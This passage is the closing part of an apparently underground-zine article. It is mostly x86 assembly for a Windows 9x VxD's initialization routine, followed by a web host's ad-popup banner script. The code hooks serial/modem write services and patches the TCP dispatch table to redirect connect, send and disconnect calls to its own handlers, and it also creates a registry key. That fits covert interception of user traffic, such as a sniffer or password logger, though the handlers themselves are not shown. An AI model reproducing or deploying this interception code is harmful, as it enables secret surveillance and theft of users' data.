; Hook VCOMM services
GetVxDServiceOrdinal eax, _VCOMM_OpenComm
mov esi, offset32 OpenComm_Hook
VMMcall Hook_Device_Service
jc Abort
GetVxDServiceOrdinal eax, _VCOMM_WriteComm
mov esi, offset32 WriteComm_Hook
VMMcall Hook_Device_Service
jc Abort
GetVxDServiceOrdinal eax, _VCOMM_CloseComm
mov esi, offset32 CloseComm_Hook
VMMcall Hook_Device_Service
jc Abort
; Make sure VTDI is present
VxDcall VTDI_Get_Version
jc Abort
; Get a pointer to the TCP dispatch table
push offset32 TCPName
VxDcall VTDI_Get_Info
add esp, 4
mov TdiDispatchTable, eax ; Save the address of TdiDispatchTable
; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend
mov ebx, [eax+0Ch]
mov TdiCloseConnection_PrevAddr, ebx
mov [eax+0Ch], offset32 TdiCloseConnection_Hook
mov ebx, [eax+18h]
mov TdiConnect_PrevAddr, ebx
mov [eax+18h], offset32 TdiConnect_Hook
mov ebx, [eax+1Ch]
mov TdiDisconnect_PrevAddr, ebx
mov [eax+1Ch], offset32 TdiDisconnect_Hook
mov ebx, [eax+2Ch]
mov TdiSend_PrevAddr, ebx
mov [eax+2Ch], offset32 TdiSend_Hook
; Create/Open our key
push offset32 hOurKey ; phKey
push offset32 OurKey ; SubKey
push HKEY_LOCAL_MACHINE
VMMCall _RegCreateKey ; Create/open "our" key
add esp, 0Ch ; Clean after VMMCall
or eax, eax ; cmp eax, ERROR_SUCCESS
jnz Abort
jmp Device_Init_End
Abort:
mov Disable, 1 ; Disable hook operation
Device_Init_End:
popad ; restore registers on stack
popfd ; restore flags on stack
ret
EndProc Do_Device_Init
VxD_ICODE_ENDS
END
<-->
----[ EOF
<!-- HOME.RO Banners v0.1 -->
<SCRIPT LANGUAGE="JavaScript">
<!--
browser = (((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) >= 2 )) || ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 2 )));
if (browser) {
if (parent.name != 'test') {
test = window.open("http://www.home.ro/ads.php3", "test", "resizable=yes,width=500,height=80");
}
}
//-->
</SCRIPT>
<!-- END HOME.RO Banners -->
|
|
|